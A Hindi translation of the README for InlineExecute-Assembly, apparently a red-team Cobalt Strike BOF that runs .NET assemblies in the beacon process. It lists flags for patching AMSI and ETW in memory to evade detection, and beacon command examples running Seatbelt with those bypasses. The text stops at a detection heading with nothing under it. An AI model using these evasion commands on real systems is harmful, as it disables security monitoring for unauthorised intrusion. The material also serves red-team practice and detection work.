
Cobalt Strike BOF, इन-प्रोसेस .NET असेंबली निष्पादन के लिए, जिसमें AMSI/ETW बाईपास, कस्टम AppDomain, और नामित पाइप/मेलस्लॉट आउटपुट रीडायरेक्शन शामिल है।
InlineExecute-Assembly एक प्रूफ ऑफ कॉन्सेप्ट बीकन ऑब्जेक्ट फ़ाइल (BOF) है जो सुरक्षा पेशेवरों को प्रक्रिया में .NET असेंबली निष्पादन करने की अनुमति देता है, जो कोबाल्ट स्ट्राइक के पारंपरिक फोर्क और रन execute-assembly मॉड्यूल के विकल्प के रूप में काम करता है। InlineExecute-Assembly Main(string[] args) या Main() एंट्री पॉइंट वाली किसी भी असेंबली को निष्पादित करेगा। इससे आप अधिकांश जारी किए गए टूलिंग को बिना किसी पूर्व संशोधन के चला सकते हैं।
BOF स्वचालित रूप से यह निर्धारित करेगा कि आपकी असेंबली (v2.0.50727 या v4.0.30319) के लिए प्रक्रिया में कौन सा कॉमन लैंग्वेज रनटाइम (CLR) लोड करने की आवश्यकता है, और अधिकांश मामलों में, यदि कोई समस्या आती है तो यह सही ढंग से बाहर निकल जाना चाहिए। BOF कई फ्लैग का भी समर्थन करता है जो ऑपरेटर को .NET निष्पादन से पहले कई व्यवहार निर्धारित करने की अनुमति देते हैं, जिनमें शामिल हैं: मेमोरी पैचिंग के माध्यम से AMSI को अक्षम करना, मेमोरी पैचिंग के माध्यम से ETW को अक्षम और पुनर्स्थापित करना, बनाए जाने वाले CLR App Domain नाम का अनुकूलन, क्या आपकी असेंबली के कंसोल आउटपुट को नेम्ड पाइप या मेलस्लॉट पर निर्देशित करना है या नहीं, और ऑपरेटर को डिफ़ॉल्ट एंट्री पॉइंट Main(string[] args) को Main() पर स्विच करने की अनुमति देता है। उपयोग, उपयोग के मामलों और संभावित डिटेक्शन पर अधिक विवरण नीचे और https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ पर पाया जा सकता है।
अंत में, हमारे .NET असेंबली को हमारे बीकन इम्प्लांट के समान प्रक्रिया में निष्पादित करने का लाभ यह है कि हम Cobalt Strike के execute-assembly मॉड्यूल के डिफ़ॉल्ट व्यवहार से बचते हैं, जो CLR/.NET असेंबली को लोड/इंजेक्ट करने के लिए एक नई प्रक्रिया बनाता है। हालांकि, अन्य ऑप्सेक विचार अभी भी मौजूद हैं, उदाहरण के लिए, क्या जिस प्रक्रिया में हम निष्पादित कर रहे हैं वह सामान्य रूप से CLR लोड करती है या क्या हम जो .NET असेंबली निष्पादित कर रहे हैं उसके कोई ज्ञात सिग्नेचर हैं? इसलिए, नुकसान यह है कि यदि कुछ पकड़ा जाता है और मार दिया जाता है, उदाहरण के लिए AMSI द्वारा, तो आपका बीकन भी मारा जाता है।
यह उपकरण उस उत्कृष्ट शोध, उपकरणों और कोड के बिना अस्तित्व में नहीं आता जो सुरक्षा समुदाय के सदस्यों द्वारा पहले ही प्रकाशित किए जा चुके हैं। इसलिए धन्यवाद। अंत में, यदि आपको लगता है कि किसी को नीचे छोड़ दिया गया है, तो कृपया मुझे बताएं और मैं उन्हें जोड़ दूंगा।
src निर्देशिका के अंदर x64 नेटिव टूल्स कमांड प्रॉम्प्ट फ़ॉर VS 2019 के माध्यम से नीचे दिए गए कमांड को चलाएँ:
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx64.o
src निर्देशिका के अंदर x86 नेटिव टूल्स कमांड प्रॉम्प्ट फ़ॉर VS 2019 के माध्यम से नीचे दिए गए कमांड को चलाएँ:
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx86.o
--dotnetassembly आपकी असेंबली का निर्देशिका पथ **आवश्यक**
--assemblyargs पास करने के लिए असेंबली आर्गुमेंट
--appdomain भेजे गए AppDomain का डिफ़ॉल्ट नाम बदलें (डिफ़ॉल्ट मान totesLegit है और इसे शामिल एग्रेसर स्क्रिप्ट द्वारा सेट किया गया है) *डोमेन हमेशा अनलोड होता है*
--amsi मेमोरी पैचिंग के माध्यम से AMSI को अक्षम करने का प्रयास करता है (यदि सफल रहा, तो AMSI प्रक्रिया के पूरे जीवन के लिए अक्षम रहेगा)
--etw मेमोरी पैचिंग के माध्यम से ETW को अक्षम करने का प्रयास करता है (यदि सफल रहा, तो ETW प्रक्रिया के पूरे जीवन के लिए अक्षम रहेगा जब तक कि वापस न लाया जाए)
--revertetw मेमोरी पैचिंग के माध्यम से ETW को अक्षम करने का प्रयास करता है और फिर इसे मूल स्थिति में वापस पैच करता है
--pipe नेम्ड पाइप का डिफ़ॉल्ट नाम बदलें (डिफ़ॉल्ट मान totesLegit है और इसे शामिल एग्रेसर स्क्रिप्ट द्वारा सेट किया गया है)
--mailslot कंसोल आउटपुट को रीडायरेक्ट करने के लिए मेलस्लॉट का उपयोग करने के लिए स्विच करता है। मेलस्लॉट का डिफ़ॉल्ट नाम बदलता है (यदि खाली छोड़ा जाता है, तो डिफ़ॉल्ट मान totesLegit है और इसे शामिल एग्रेसर स्क्रिप्ट द्वारा सेट किया गया है)
--main एंट्री पॉइंट को Main() में बदलता है (डिफ़ॉल्ट मान Main(string[] args) है)
.NET असेंबली निष्पादित करें
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe
.NET असेंबली को तर्कों के साथ निष्पादित करें
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker
.NET असेंबली को तर्कों के साथ निष्पादित करें और AMSI अक्षम करें
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi
.NET असेंबली को तर्कों के साथ निष्पादित करें और ETW अक्षम करें
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --etw
.NET असेंबली को तर्कों के साथ निष्पादित करें और आउटपुट को डिफ़ॉल्ट नेम्ड पाइप के बजाय मेलस्लॉट के माध्यम से रीडायरेक्ट करें
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --mailslot
.NET असेंबली को तर्कों के साथ निष्पादित करें और एग्रेसर स्क्रिप्ट में सेट डिफ़ॉल्ट नेम्ड पाइप नाम बदलें
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --pipe forRealLegit
.NET असेंबली निष्पादित करें और एग्रेसर स्क्रिप्ट में सेट डिफ़ॉल्ट एप डोमेन बदलें
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --appdomain forRealLegit
.NET असेंबली को Main() एंट्री पॉइंट के साथ निष्पादित करें, डिफ़ॉल्ट Main(string[] args) के बजाय
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/simpleMain.exe --main
पूरी ताकत से काम करें (Go HAM)
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi --etw --appdomain forRealLegit --mailslot forRealLegit
कुछ डिटेक्शन और शमन रणनीतियाँ जिनका उपयोग किया जा सकता है: